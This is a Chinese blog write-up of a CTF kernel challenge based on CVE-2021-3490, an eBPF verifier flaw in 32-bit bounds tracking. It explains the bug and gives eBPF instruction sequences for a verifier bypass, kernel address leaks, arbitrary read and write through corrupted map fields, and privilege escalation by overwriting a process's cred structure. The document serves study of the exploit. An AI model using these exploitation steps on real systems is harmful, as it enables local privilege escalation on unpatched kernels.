上个月刚出的一道ebpf提权的题目,改编自cve-2021-3490。漏洞点和之前分析的ebpf漏洞很相似,所以赶紧分析学习。
漏洞简介
The eBPF ALU32 bounds tracking for bitwise ops (AND, OR and XOR) in the Linux kernel did not properly update 32-bit bounds, which could be turned into out of bounds reads and writes in the Linux kernel and therefore, arbitrary code execution. This issue was fixed via commit 049c4e13714e (“bpf: Fix alu32 const subreg bound tracking on bitwise operations”) (v5.13-rc4) and backported to the stable kernels in v5.12.4, v5.11.21, and v5.10.37. The AND/OR issues were introduced by commit 3f50f132d840 (“bpf: Verifier, do explicit ALU32 bounds tracking”) (5.7-rc1) and the XOR variant was introduced by 2921c90d4718 (“bpf:Fix a verifier failure with xor”) ( 5.10-rc1).
漏洞描述说明是ebpf
中verifier
中ALU32
指令种类中的 bit位操作AND、OR、XOR
没有进行32位比特的边界检查,导致可以越界读写,最终导致任意代码执行。
受影响的内核版本有 v5.12.4,v5.11.21,v5.10.37
。其是在 3f50f132d840 和 2921c90d4718中引入。
总体来说,还是和之前的ebpf
漏洞的原因类似,都是由于在bpf_check
中对于ebpf
指令检查存在漏洞,导致可以绕过检查,从而执行恶意代码。
漏洞分析
基础知识
结构体
在cve-2020-8835
中提到过ebpf
寄存器类型的数据结构如下:
1 | struct bpf_reg_state { |
其中,比较重点关注的变量如下:
- smin_value、smax_value:表示64位有符号的值的可能最大最小值边界
- umin_value、umax_value:表示64位无符号的值的可能最大最小值边界
- s32_min_value、s32_max_value:表示32位有符号的值可能最大最小值边界
- u32_min_value、u32_max_value:表示32位无符号的值的可能最大最小值边界
其中,这个寄存器中具体的值,会用如下变量进行表示:
1 | struct tnum { |
这里的 value&mask
表示这个寄存器中可以确定的值。
ALU 检测
之前对ebpf check
逻辑有过分析,这里我们重点分析一下对于ALU
操作类型的检查,以下面的指令进行一个大概的说明:
1 | *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); |
- 首先将
alu->limit
的值赋值给REG_AX
寄存器 - 将
REG_AX
的值与off_reg
的值相减,如果off_reg>REG_AX
,则设置REG_AX
的最高符号位,表示负数 - 将
REG_AX
与off_reg
的值相异或,如果二者符号相反,则会设置REG_AX
的符号位 BPF_NEG
会修改REG_AX
的符号位,如果REG_AX
为正,则设置后REG_AX
为负,如果REG_AX
为负,则设置后为正BPF_ARSH
会将REG_AX
向右移63位,这个操作相当于用REG_AX
符号位设置REG_AX
的值,如果为负则全为1,如果为正则全为0- 基于上面的结果,
BPF_AND
要么使得off_reg
全为0,要么使得off_reg
不变
总结:上面的操作中,如果off_reg
的值大于REG_AX
,或者off_reg
与REG_AX
的符号相反,则最终的结果是off_reg
的值全为0
漏洞分析
具体的cve
信息,可以看这个报告。
在ebpf
对寄存器计算的指令中,分为64位和32位操作两部分。64位指令会对寄存器的64位全部进行操作,32位指令只会对寄存器的低32位进行操作。因此,bpf_check
也包含了对32位指令的检查。
这里首先看64位指令时的检查,位于adjust_scalar_min_max_vals
1 | * |
而这个cve
的漏洞点位于这个函数的32位处理函数scalar32_min_max_and
处,其中的BPF_AND\ BPF_OR\ BPF_XOR
三类操作有问题:
1 | static void scalar32_min_max_and(struct bpf_reg_state *dst_reg, |
上面的函数大概流程如下:
- 通过
tnum_subreg_is_const
函数来判断是否能确定src_reg
和dst_reg
两个寄存器低32位的值 - 然后通过
tnum_subreg
函数来获取dst_reg->var_off
的低32位值,并且分别获取src_reg
的s32_min_value
和u32_max_value
- 如果
src_reg
和dst_reg
的值都已经确定,那么则直接返回,不进行下面的更新操作 - 如果不确定,则会使用
var32_off
的值来更新dst_reg
的u32_min_value
和u32_max_value
- 在更新
dst_reg
的s32_min_value
和s32_max_value
时,需要分同时为正或同时为负的情况,如果同为负则用src_reg
的最大最小值,如果为正则用dst_reg
的u32_min_value
和u32_max_value
更新
而64位对应的操作函数如下:
1 | static void scalar_min_max_and(struct bpf_reg_state *dst_reg, |
在64位函数中,可以看到其就算确定了src_reg
和dst_reg
的值,也会调用__mark_reg_known
函数再进行一次设置:
1 | /* Mark the unknown part of a register (variable offset or scalar value) as |
总结:32位和64位的区别,就在于当src_reg
和dst_reg
的值是确定时。32位不会再做任何赋值操作,而64位还会进行一个赋值检查操作。
在adjust_scalar_min_max_vals
函数中,最后会执行如下三个函数:
1 | if (alu32) |
这三个函数都会对dst_reg
进行操作:
1 | static void __update_reg_bounds(struct bpf_reg_state *reg) |
__update_reg_bounds
函数,也分为32位和64位。其总体逻辑如下:
从
reg->s32_min_value
和var32_off.value|(var32_off.mask&S32_MIN)
中选取最大的值,赋值给reg->s32_min_value
从
reg->s32_max_value
和var32_off.value | (var32_off.mask & S32_MAX)
中选取最小的值,赋值给reg->s32_max_value
从
reg->u32_min_value
和var32_off.value | (var32_off.mask & S32_MAX)
中选取最大的值,赋值给reg->u32_min_value
从
reg->u32_max_value
和(u32)(var32_off.value | var32_off.mask)
中选取最小的值,赋值给reg->u32_max_value
64位同逻辑
1 | static void __reg_deduce_bounds(struct bpf_reg_state *reg) |
__reg_deduce_bounds
函数,总体逻辑如下:
- 如果
reg->smin_value>=0 || reg->smax_value<0
,即reg
的smin_Value
和smax_value
的是同号时,从reg->smin_value
和reg->umin_value
中取最大值,赋值给reg->smin_value
;从reg->smax_value
和reg->umax_value
中取最小值赋值给reg->umin_value
- 如果
smin_value
和smax_value
不是同号,且(s64)reg->umax_value>=0
,即reg
的最大值是正数时,说明umin_value
也是正数,所以直接将umin_value
赋值给reg->smin_value
,从reg->smax_value
和reg->umax_value
中选择最小值赋值给smax_value
- 如果
(s64)reg->umin_value<0
,即reg
的最小值是负数时,说明umax_value
也是负数,所以直接将umax_value
赋值给reg->smax_value
;从reg->smin_value
和reg->umin_value
中选择最大值赋值给reg->smin_value
- 32位同理
1 | /* Attempts to improve var_off based on unsigned min/max information */ |
__reg_bound_offset
函数,在之前的cve-2020-8835
中详细分析过,这里简要说明:
首先调用
tnum_intersect
函数,参数为reg->var_off
和tnum_range(reg->umin_value, reg->umax_value)
,其作用是计算传入的两个值的a.value|b.value
和a.mask|b.mask
的值- 而
tnum_range
函数的作用是返回一个无符号数的范围
- 而
对32位和64位都使用
tnum_intersect
进行了计算,最终得到该寄存器的可能值范围
示例说明:
这里我们以一个样例指令,来详细说明一下上述步骤的影响:
1 | BPF_ALU64_REG(BPF_AND, R2, R3) |
R2
的值为:var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
,可以看到其低32位的值是确定的为0x1,所以其32位的边界也全部为0x1,高32位的值是不确定的R3
的值为:var_off = {mask = 0x0; value = 0x100000002}
,其值是确定的为0x100000002
。
那么这条指令的执行步骤如下:
首先执行
adjust_scalar_min_max_vals
函数,随后会进入tnum_and
函数,该函数返回,R2.var_off = {mask = 0x100000000; value=0x0}
,因为R2.var_off.value & R3.var_off.value = 0x1&0x100000002 = 0x0
,但是由于R2
的高32位是不确定,所以最终R2.var_off.mask = 0x100000000
然后执行
scalar32_min_max_and
,这个函数的主要作用就是检查寄存器32位的值的范围,这里由于R2
和R3
两个寄存器的低32位的值都是确定的,所以经过这个函数后scalar32_min_max_and
这两个寄存器并不会有改变随后执行
__update_reg_bounds
,这个函数会对R2
的值做相应修改,这里会将R2.u32_max_value=0x0
,因为R2.var_off.value=0<R2.u32_max_value=1
,这里会将R2.u32_min_value=0x1
,因为R2.var_off.value=0 < R2.u32_min_value=0x1
最后执行
__reg_bound_offset
函数,也不会改变R2
的属性
经过上面的流程,我们成功使得reg2
在BPF_check
时,其属性变为:{u,s}32_max_value = 0 < {u,s}32_min_value = 1
漏洞利用
Dos
这里Dos
攻击的思路,其实在cve-2020-8835
分析中我提到过,其实算是一种失败的利用方式,但是这种方式确实会让eBPF
陷入死循环,从而干扰正常程序执行。
在bpf_check
中,当验证条件跳转时,其首先会根据寄存器的边界来判断其是否会对多个分支都进行跳转。如果能够唯一确定跳转一条分支,那么则会省去对另外分支的检查。
1 | BPF_JMP32_IMM(BPF_JGE, EXPLOIT_REG, 1, 5) |
如果使用如上指令,由于在前面已经构造了EXPLOIT_REG
寄存器为{mask=0xffffffff00000000; value=0x1}
。因此执行这条指令后,会跳转到偏移5个指令处继续执行。
1 | static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode) |
而对于BPF_JGE
跳转,bpf_check
会在is_branch32_taken
中采用对reg->u32_min_value
判断的方法来确定另一条分支是否会被执行。这里由于EXPLOIT_REG.u32_min_value = 0x1
,所以这里会返回0x1
。也就是另一条分支不会被执行,也就是该分支不会被检查。
然而,由于EXPLOIT_REG
寄存器的值在运行过程中,是可以被我们控制的,所以在运行时是可以跳转到另一条分支执行。
1 | /* The verifier does more data flow analysis than llvm and will not |
但是,这种思路在之前就已经解释过在较新的ebpf
中都已经不可能实现。
原因是,ebpf
程序对于在ebpf_check
中确定的永远不会执行的死分支指令全部用了trap
指令进行了 替代。如果我们在真正运行时,去执行这个死分支,那么只会使得系统陷入trap
,从而发生了Dos
攻击。
绕过检查
1 | BPF_LD_MAP_FD(BPF_REG_9, mapfd), // r9 = map_fd |
上面的注释已经十分详细,这里就大概讲讲流程。
- 构造
r8 = {mask = 0x0; value = 0x100000002}
1
2
3
4
5BPF_LD_MAP_FD(BPF_REG_9, mapfd), // r9 = map_fd
// (1) trigger vulnerability
BPF_LD_IMM64(BPF_REG_8, 0x1), // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32), // r8 <<= 32 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2), // r8 += 2 0x10000 0002 - 构造
r6 = {mask = 0xFFFFFFFF00000000, value = 0x1}
触发漏洞,这里使得r6 = {u,s}32_max_value = 0 < {u,s}32_min_value = 11
2
3
4
5
6
7BPF_MAP_GET(0, BPF_REG_5), // r5 = *(u64 *)(r0 +0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // (bf) r6 = r5
BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // r2 <<= 32 -> r2=0xFFFFFFFF00000000
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // r6 &= r2 高32位 unknown, 低32位known 为0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1 mask = 0xFFFFFFFF00000000, value = 0x1
1 | // trigger the vulnerability |
检查绕过(重点)
1
2
3BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // r6 += r5 r6: verify:2 fact:1
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // w6 = w6 对64位进行截断,只看32位部分
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // verify:0 fact:1- 这里先将
r6+=1
,使得r6={u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}}
- 然后构造
r5 ={u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}}
- 最后将
r6
与r5
相加1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off,
src_reg.var_off);
break;
...
}
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;
...
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) {
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val;
dst_reg->u32_max_value += umax_val;
}
}
- 这里先将
在经过scalar32_min_max_add
函数时,r6 = {u32_min_value = 2, u32_max_value = 2}
在经过 tnum_add
后,此时由于r6
的低位确定为1,而 r5
的 值不能确定为 1还是0,所以 得到的结果 r6
的值也就不能确定是 2还是 1,所以使得 r6={u32_min_value = 2, u32_max_value = 2, var_off = {mask=0xFFFFFFFF00000003; value = 0x0}}
在__update_reg32_bounds
函数中,由于reg->u32_min_value=0x2 > var32_off.value=0
,所以 reg->u32_min_value=0x2
不变。由于reg->u32_max_value = 0x2 < (var32_off.value | var32_off.mask)=(0x0|0x00000003)=0x3
,所以reg->u32_max_value=0x2
不变。
1 | reg->u32_min_value = max_t(u32, reg->u32_min_value, |
随后执行__reg_deduce_bounds(dst_reg)
,由于r6
的有符号和无符号边界是相同的,所以不会做改变。
最后执行__reg_bound_offset
,最终,得到r6 = {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}
1 | struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), |
总结:这里最终使得verifier
认为r6
的低32位是确定为 0x2
的。但是,我们可以在实际执行时,指定其为 0x1
。
最后执行r6 & 0x1
,verifier
认为 r6&0x1 = 0x2&0x1 =0x0
,但是实际可以为 0x1&0x1 = 0x1
地址泄漏
这里后续的利用方法,和cve-2020-8835
相同。这里大概讲解一下。
1 | BPF_MAP_GET(1, BPF_REG_7), // r7 = *(u64 *)(r0 +0) |
这里以r7=map[1]
作为 指令类型,来实现执行不同的流程。如果 r7 = 0
时:
R6 *= 0x110
,这里verifier
认为r6 *= 0x110 = 0x0
,实际为r6 *= 0x110 = 0x110
- 取
r7
为map_fd
地址 r7 -= r6
,verifier
认为r7 -= r6 -> r7 -= 0x0
不越界,但是实际为r7 -= r6 -> r7 -= 0x110
,发生了越界- 然后将
r7
所指向地址的值赋值给r8
,此时r7 = map_fd -0x110
,这个地址存储的是bpf_map_ops
的地址。 - 随后 获取
map[4]
的地址给r6
- 最后将
r8
的值赋值给r6
指向的地址 - 最后,我们可以通过读取
map[4]
的值 来获取bpf_map_ops
的地址
泄漏了bpf_map_ops
的地址,减去偏移,即可获得内核基址。
任意地址读
1 | BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 1, 22), // op=1 -> write btf |
- 首先将
r6 *= 0xd0
- 然后
r7 = &map[0]
- 随后计算
r7 -= r6 -> r7 -= 0xd0
,此时r7
的地址为map->btf
变量 r8 = map[2] = target_addr - 0x58
- 将
r8
的值赋值给r7
,也即将map->btf
赋值为了target_addr - 0x58
的地址 - 最后调用
BPF_OBJ_GET_INFO_BY_FD
->bpf_obj_get_info_by_fd()
->bpf_map_get_info_by_fd()
,即可将*(map->btf) + 0x58
即target_addr - 0x58 + 0x58
的值读取出来
实现了任意地址读,这里注意每次只能读取4字节。
泄漏map地址
因为后续实现任意地址写时,需要将 map
结构体内的变量修改为map
的地址。所以这里需要泄漏map
空间的地址。
1 | BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 2, 23), // op=2 -> read attr |
这里由于map->wait_list
存储的地址是&map+0xc0
的地址,所以只需要将map->wait_list
的值读取出来,就可以泄漏出map
的地址了。
这里map->wait_list
的偏移为0xc0
,所以相当于r7-0x50 = &map+0xc0
。
然后再将r7
的值赋值给r8
,再将r8
赋值给map[4]
。后续用户态读取map[4]
即可泄漏地址。
任意地址写
1 | BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60), // write ops and change type |
这里想实现任意地址写。需要用到如下流程:
当我们使用map_update_elem
函数时,会调用bpf_map_ops
虚函数表中的 map_push_elem
函数指针。
1 | uint64_t fake_map_ops[]={ |
1 | static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key, |
而在bpf_map_ops
虚函数表中,还有一个函数指针array_map_get_next_key
函数。从函数流程中,可以看到一个赋值操作。其将传入的第三个参数 next_key
赋值为了传入的第二个参数key
(只要key
值非空)。
1 | static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key) |
如果我们将bpf_map_ops
虚函数表中的 map_push_elem
指针改写为array_map_get_next_key
函数指针。那么就可以通过在用户态调用map_update_elem(fd, &key, &value, addr)
函数,实现*addr = value
,也即实现了一个任意地址写。
当然,这里直接覆写指针是不行的。需要满足如下三个条件:
map
的类型必须是BPF_MAP_TYPE_QUEUE
或者BPF_MAP_TYPE_STACK
, 每次调用map_update_elem
时, 才会调用map_push_elem
。但是这个map_type
也是位于map
上,所以需要把map_type
改成BPF_MAP_TYPE_STACK
(0x17)- 此外,写入的
index
要满足(index >= array->map.max_entries)
,所以map_entries
需要改成0xffff ffff
- 还有就是
map->spin_lock_off
变量需要等于 0
1 | BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60), // write ops and change type |
将r7
赋值为bpf_array->map->opsmap_push_elem
的地址,将r6
赋值为bpf_array->map->ops->array_map_get_next_key
的地址。
随后将r6
的值 赋值给 r7
,实现指针的修改。
后面依次修改各个属性的值,即可。
提权
有了任意地址写之后,提权的方法就比较多了。常见的是搜索当前进程task_struct
,然后修改cred
结构的方法。
之前我用的搜索方法都是,通过prctl函数中的PR_SET_NAME
功能对task_struct
里有的char comm[TASK_COMM_LEN]
设置我们的字符串,然后利用任意地址读写,去遍历查找该字符串,从而得到cred
的地址。但是,这种方法需要爆破的地址段太大了,并且如果读取到不可读的地址段还会报错。
这里,参考别人的文章,学到了一种更加通用和成功率更高的方法。
首先通过kallsyms
中查找到init_pid_ns
函数的地址;
通过init_pid_ns
偏移0x30
处存储了第一个task_struct
的地址;
获取当前exp
的进程号;
遍历task_struct->tasks->next
链表,读取每个进程的pid
号,当遍历到等于exp
进程的进程号时,说明找到了exp
所在进程地址。
获取exp
进程的cred
地址。
通过任意地址写,修改cred
结构体的权限标志位。
EXP
1 | // test in Linux-v5.11 |
调试技巧
- 因为现在
ebpf
都默认会开启JIT
优化,而不使用ebpf
自带的解释器来执行。所以需要在编译内核时,将.config
中的CONFIG_BPF_JIT
参数关闭。然后调试时,即可直接下断点core.c:___bpf_prog_run
- 可以使用
bpf_tools
等工具来查看ebpf
指令是否正确
参考
Kernel Pwning with eBPF: a Love Story
- 本文作者: A1ex
- 本文链接: http://yoursite.com/2021/08/16/ebpf-pwn-A-Love-Story/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!